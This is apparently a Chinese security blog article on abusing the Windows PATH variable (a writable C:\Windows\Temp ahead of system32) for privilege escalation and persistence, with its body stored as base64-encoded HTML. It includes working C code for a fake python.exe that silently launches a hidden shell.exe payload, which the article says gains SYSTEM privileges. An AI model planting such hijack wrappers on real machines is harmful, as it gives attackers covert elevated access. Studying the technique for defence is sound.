windows环境变量滥用维权/提权

PGgxPjxhIG5hbWU9IjB4MDEg5YmN5o+QIj48L2E+PHNwYW4+PC9zcGFuPjB4MDEg5YmN5o+QPC9oMT48cD7pgJrov4fmu6XnlKjns7vnu5/nmoTot6/lvoTmkJzntKLmnLrliLbmnaXmrLrpqpfpq5jmnYPpmZDnlKjmiLfmiafooYznnIvkvLzlkIjms5XnmoTns7vnu5/kuozov5vliLbmlofku7bvvIzlrp7pmYXkuIrmmK/mgbbmhI/nmoTku6PnoIHmiJbnqIvluo/vvIzku47ogIzlr7zoh7TljYfmnYPpmZDlubbmiafooYzmgbbmhI/mk43kvZzjgII8L3A+CjxwPuaUu+WHu+eahOWFs+mUruWJjeaPkO+8mjwvcD4KPG9sPgo8bGk+PHN0cm9uZz7ot6/lvoTmkJzntKLpobrluo/vvJo8L3N0cm9uZz4g5b2T55So5oi35Zyo5ZG95Luk6KGM5oiW56iL5bqP5Lit5omn6KGM5LiA5Liq5ZG95Luk5pe277yM57O757uf5Lya5Zyo546v5aKD5Y+Y6YePJFBBVEjlrprkuYnnmoTot6/lvoTliJfooajkuK3mkJzntKLopoHmiafooYznmoTnqIvluo/jgILlroPlsIbku47liJfooajkuK3nmoTnrKzkuIDkuKrot6/lvoTlvIDlp4vmkJzntKLvvIznhLblkI7mjInpobrluo/nu6fnu63mkJzntKLvvIznm7TliLDmib7liLDljLnphY3nmoTnqIvluo/jgII8L2xpPjxsaT48c3Ryb25nPuadg+mZkOmZkOWItu+8mjwvc3Ryb25nPiDnlKjmiLfmnYPpmZDnmoTlt67lvILmmK/ov5nnp43mlLvlh7vnmoTln7rnoYDjgILmlLvlh7vogIXpgJrluLjpnIDopoHkuKTnsbvnlKjmiLfvvJo8dWw+CjxsaT48c3Ryb25nPuS9juadg+mZkOeUqOaIt++8iE3vvInvvJo8L3N0cm9uZz4g5oul5pyJ6L6D5L2O5p2D6ZmQ77yM5Y+q6IO96K6/6Zeu5ZKM5YaZ5YWl54m55a6a5paH5Lu25aS577yM5L6L5aaCYzpcdGVtcOOAgjwvbGk+PGxpPjxzdHJvbmc+6auY5p2D6ZmQ55So5oi377yaPC9zdHJvbmc+IOaLpeacieezu+e7n+euoeeQhuWRmOaIluWFtuS7lumrmOadg+mZkOinkuiJsu+8jOiDveWkn+aJp+ihjOaVj+aEn+eahOezu+e7n+WRveS7pOWSjOaTjeS9nOOAgjwvbGk+PC91bD4KPC9saT48bGk+PHN0cm9uZz7njq/looPlj5jph4/orr7nva7vvJo8L3N0cm9uZz4g5pS75Ye76ICF6ZyA6KaB5o6n5Yi25oiW6IO95aSf5L+u5pS55L2O5p2D6ZmQ55So5oi377yITe+8ieeahOeOr+Wig+WPmOmHj+iuvue9ru+8jOWwpOWFtuaYryRQQVRI5Y+Y6YeP44CCPC9saT48L29sPgo8aDE+PGEgbmFtZT0iMHgwMiDljp/nkIbliIbmnpAiPjwvYT48c3Bhbj48L3NwYW4+MHgwMiDljp/nkIbliIbmnpA8L2gxPjxwPuWOn+eQhuaYr+WIqeeUqOaTjeS9nOezu+e7n+eOr+Wig+WPmOmHj+iuvue9rueahOW8seeCueadpeasuumql+mrmOadg+mZkOeUqOaIt+aJp+ihjOaBtuaEj+S7o+egge+8jOS7juiAjOWunueOsOadg+mZkOaPkOWNh+OAgjwvcD4KPHA+5q2j5bi45oOF5Ya157O757uf55qE546v5aKD5Y+Y6YeP5piv5LuOPGNvZGU+YzpcV2luZG93c1xzeXN0ZW0zMjwvY29kZT7lvIDlp4vpgY3ljobvvIzlpoLkuIvmiYDnpLrvvJo8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC85OTExLzVmZDk0OGNkZjdmMDE0NDAyNzQ0ZmFhYWJiMzQwMzJhXzg5MDg0LnBuZyIgYWx0PSIiPjwvcD4KPHA+5L2G5piv77yM5b2T5a2Y5Zyo5LqO546v5aKD5Y+Y6YeP55qE6Lev5b6E5ZyoPGNvZGU+YzpcV2luZG93c1xzeXN0ZW0zMjwvY29kZT7kuYvliY3vvIzlubbkuJTlj6/nlLHkvY7mnYPpmZDnlKjmiLcgKE0pIOS/ruaUueeahOaXtuWAme+8jOWwseS8mumAoOaIkOeOr+Wig+WPmOmHj+eahOa7peeUqO+8jOS+i+Wmgu+8iDxjb2RlPmM6XFdpbmRvd3NcdGVtcDwvY29kZT7lj5jph4/ot6/lvoTmu6XnlKjvvInvvJo8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC85OTExLzI2MDdmNjI3ODIwNjJmNGZiMDNiZTk4OWFkYjhiMzNhXzEzMDY3LnBuZyIgYWx0PSIiPjwvcD4KPHA+5bm25LiU5p+l55yL5paH5Lu25aS56K6/6Zeu5p2D6ZmQ77yM5piv5Y+v5Lul55So5oi35L+u5pS555qE77yM5p+l6K+i5aaC5LiL77yaPC9wPgo8cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvOTkxMS8wZDQwNmM2ZDg4ZjNjZWE5NDYzZmU3ZmM2OGU3YzAyY18xNjM0NC5wbmciIGFsdD0iIj48L3A+Cjx1bD4KPGxpPjxjb2RlPkJVSUxUSU5cVXNlcnM8L2NvZGU+77ya5YaF572u55qE55So5oi357uEIOKAnFVzZXJz4oCdIOacieS7peS4i+adg+mZkO+8mihDSSnvvJrlrrnlmajlhoXpobnnm67vvIwoUynvvJrlkIzmraXorr/pl67vvIwoV0Qp77ya5YaZ5YWl5pWw5o2u77yMKEFEKe+8mua3u+WKoOaVsOaNru+8jChYKe+8muaJp+ihjOaWh+S7tuOAgui/meaEj+WRs+edgOKAnVVzZXJz4oCd57uE5Y+v5Lul6K+75Y+W44CB5YaZ5YWl44CB5re75Yqg44CB5omn6KGM6K+l5paH5Lu25aS55YaF55qE6aG555uu44CCPC9saT48bGk+PGNvZGU+QlVJTFRJTlxBZG1pbmlzdHJhdG9yczwvY29kZT7vvJrlhoXnva7nmoTnrqHnkIblkZjnu4Qg4oCcQWRtaW5pc3RyYXRvcnPigJ0g5pyJ77yaKEYp77ya5a6M5YWo5o6n5Yi25p2D6ZmQ44CC6L+Z5oSP5ZGz552A566h55CG5ZGY5Y+v5Lul5a6M5YWo5o6n5Yi26K+l5paH5Lu25aS577yM5YyF5ous5L+u5pS55p2D6ZmQ44CCPC9saT48bGk+PGNvZGU+TlQgQVVUSE9SSVRZXFNZU1RFTTwvY29kZT7vvJrns7vnu5/otKbmiLfmnInvvJooRinvvJrlrozlhajmjqfliLbmnYPpmZDjgILov5nlhYHorrjns7vnu5/otKbmiLflr7nmlofku7blpLnmi6XmnInlrozlhajmjqfliLbjgII8L2xpPjxsaT48Y29kZT5DUkVBVE9SIE9XTkVSPC9jb2RlPu+8muaWh+S7tuaIluaWh+S7tuWkueeahOWIm+W7uuiAheacie+8mihPSSkoQ0kpKElPKShGKe+8muWvueixoeeahOaJgOacieadg++8jOWuueWZqOWSjOe7p+aJv+eahOaJgOacieadg++8jOWvueixoeeahOiuv+mXruadg+mZkO+8jOWujOWFqOaOp+WItuadg+mZkOOAgui/meS9v+W+l+aWh+S7tuaIluaWh+S7tuWkueeahOWIm+W7uuiAheaLpeacieWujOWFqOaOp+WItuadg+mZkOOAgjwvbGk+PGxpPjxjb2RlPlNBRURZUUpLRkpOTk9GU1xjYW1lcjwvY29kZT7vvJrnlKjmiLfigJ1jYW1lcuKAneacie+8mihPSSkoQ0kpKEYp77ya5a+56LGh55qE5omA5pyJ5p2D77yM5a655Zmo5ZKM57un5om/55qE5omA5pyJ5p2D77yM5a6M5YWo5o6n5Yi25p2D6ZmQ44CCPC9saT48L3VsPgo8cD7lvZPnlKjmiLflsIbmgbbmhI/nqIvluo/mlL7lnKg8Y29kZT5jOlxXaW5kb3dzXHRlbXA8L2NvZGU+55uu5b2V5LiL55qE5pe25YCZ77yM5q2j5bi455So5oi35peg6K665pivQWRtaW5pc3RyYXRvcui/mOaYr1NZU1RFTeiwg+eUqO+8jOmDveS8muS8mOWFiOaJp+ihjOaBtuaEj+eoi+W6j++8jOS+i+WmguWKq+aMgeeahOaYr2NtZC5leGXvvIzlpoLkuIvkvJrooqvliqvmjIHmiafooYzorqHnrpflmajvvIzlpoLkuIvmiYDnpLrvvJo8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC85OTExLzEzYWZmMmNlYjI4ZjhiOTk1NjM4ZDczNDM1MTlhNDY1XzM2NTA0LnBuZyIgYWx0PSIiPjwvcD4KPGgxPjxhIG5hbWU9IjB4MDMg5Yip55So5oCd6LevIj48L2E+PHNwYW4+PC9zcGFuPjB4MDMg5Yip55So5oCd6LevPC9oMT48cD7lrp7pmYXliKnnlKjnmoTml7blgJnov5jlrZjlnKjkuIDkuKrlt6jlpKfnmoTnvLrpmbfvvIzlsLHmmK/ns7vnu5/moLjlv4Plkb3ku6Tkvb/nlKjkuobkuIDkuKrnp7DkuLrigJzns7vnu5/nm67lvZXkvJjlhYjnuqfigJ3nmoTmnLrliLbvvIzljbPkvb/kvaDlnKjnjq/looPlj5jph4/kuK3mjIflrprkuoblhbbku5bnm67lvZXvvIzns7vnu5/ku43nhLbkvJrpppblhYjmkJzntKLns7vnu5/nm67lvZXvvIjpgJrluLjmmK9DOlxXaW5kb3dzXHN5c3RlbTMy77yJ5Lit55qE5Y+v5omn6KGM5paH5Lu277yM5Lul56Gu5L+d57O757uf55qE56iz5a6a5oCn5ZKM5a6J5YWo5oCn44CCPC9wPgo8cD7miYDku6Xor7Tlj6rog73mjqXliqvmjIHliKnnlKhweXRob27jgIFqYXZh44CBZ2Nj562J55So5oi3546v5aKD55qE546v5aKD5Y+Y6YeP5rul55So77yM5omN6IO95a6e6ZmF5Yip55So44CCPC9wPgo8cD7mgbbmhI/nqIvluo/lpoLkuIvvvIjliqvmjIHnmoRweXRob24uZXhl77yJ77yaPC9wPgo8cHJlPjxjb2RlPiNpbmNsdWRlICZsdDt3aW5kb3dzLmgmZ3Q7CiNpbmNsdWRlICZsdDtzdGRpby5oJmd0OwoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkgewogICAgICAvLyDmgbbmhI/nqIvluo8KICAgIHdjaGFyX3QqIFNoZWxsID0gTCZxdW90O0M6XFxXaW5kb3dzXFxUZW1wXFxzaGVsbC5leGUmcXVvdDs7CgogICAgSElOU1RBTkNFIGhJbnN0YW5jZTEgPSBTaGVsbEV4ZWN1dGVXKE5VTEwsIEwmcXVvdDtvcGVuJnF1b3Q7LCBTaGVsbCwgTlVMTCwgTlVMTCwgU1dfSElERSk7CgogICAgICAvLyDkv53or4FweXRob27nqIvluo/og73lpJ/mraPluLjmiafooYwKICAgIGlmIChhcmdjICZndDs9IDIpIHsKICAgICAgICBjb25zdCBjaGFyKiBweXRob25QYXRoID0gJnF1b3Q7QzpcXFVzZXJzXFxjYW1lclxcQXBwRGF0YVxcTG9jYWxcXFByb2dyYW1zXFxQeXRob25cXFB5dGhvbjM5XFxweXRob24uZXhlJnF1b3Q7OwoKICAgICAgICAvLyDmnoTlu7rosIPnlKhQeXRob27ohJrmnKznmoTlkb3ku6QKICAgICAgICBjaGFyIHB5dGhvbkNvbW1hbmRbNDA5Nl07IC8vIEluY3JlYXNlZCBidWZmZXIgc2l6ZSB0byBhY2NvbW1vZGF0ZSBtb3JlIGFyZ3VtZW50cwogICAgICAgIHNucHJpbnRmKHB5dGhvbkNvbW1hbmQsIHNpemVvZihweXRob25Db21tYW5kKSwgJnF1b3Q7JXMgJXMmcXVvdDssIHB5dGhvblBhdGgsIGFyZ3ZbMV0pOwoKICAgICAgICAvLyDlsIbpop3lpJbnmoTlj4LmlbDmt7vliqDliLAgUHl0aG9uIOWRveS7pOS4rQogICAgICAgIGZvciAoaW50IGkgPSAyOyBpICZsdDsgYXJnYzsgKytpKSB7CiAgICAgICAgICAgIHN0cmNhdChweXRob25Db21tYW5kLCAmcXVvdDsgJnF1b3Q7KTsKICAgICAgICAgICAgc3RyY2F0KHB5dGhvbkNvbW1hbmQsIGFyZ3ZbaV0pOwogICAgICAgIH0KCiAgICAgICAgLy8g6LCD55SoUHl0aG9u6ISa5pysCiAgICAgICAgc3lzdGVtKHB5dGhvbkNvbW1hbmQpOwogICAgfQoKICAgIHJldHVybiAwOwp9CjwvY29kZT48L3ByZT4KPHA+5YGH6K6+55So5oi36KaB5L2/55So566h55CG5ZGY5p2D6ZmQ5omn6KGMcHl0aG9u5paH5Lu277yM6LCD55SocHl0aG9u5omn6KGM5ZG95Luk77yIcHl0aG9u5paH5Lu26ZqP5L6/6K6pR1BU55Sf5oiQ55qE77yJ77yaPC9wPgo8cHJlPjxjb2RlPnB5dGhvbiAxLnB5IGdyZWV0aW5nIG1vcm5pbmcKPC9jb2RlPjwvcHJlPgo8cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvOTkxMS9hNjBiNWZlYzg3ODI2NmI4YTcxMDdhNDMxMWIxMDE4Zl85ODY5MS5wbmciIGFsdD0iIj48L3A+CjxwPuaJp+ihjOaIkOWKn+S8muWPkeeOsOato+W4uOi/kOihjOi+k+WHuu+8jOS9huaYr+WunumZheWQjuWPsOaJp+ihjOaBtuaEj+eoi+W6j+W5tuS4iue6v+aIkOWKn++8jOW5tuS4lOWFt+aciVNZU1RFTeadg+mZkOeahO+8jOWmguS4i+aJgOekuu+8mjwvcD4KPHA+PGltZyBzcmM9Imh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzk5MTEvMzE4NjU1NmUzOGIzZjIwNTcxMTk2MWNkNDQwNjczNjZfODgzMTkucG5nIiBhbHQ9IiI+PC9wPgo8cD4weDA0IOaAneiAg+aAu+e7kzwvcD4KPHA+5pmu6YCa55So5oi35p2D6ZmQ6LCD55SocHl0aG9u5Lmf5Lya5LiK57q/77yM5bm25LiU5pyA5aW9c2hlbGzmt7vliqDpmLLmraLov5vnqIvlpJrlvIDnmoTlip/og73vvIzkuI3nhLblkI7lj7DlrrnmmJPpg73mmK/pqazjgII8L3A+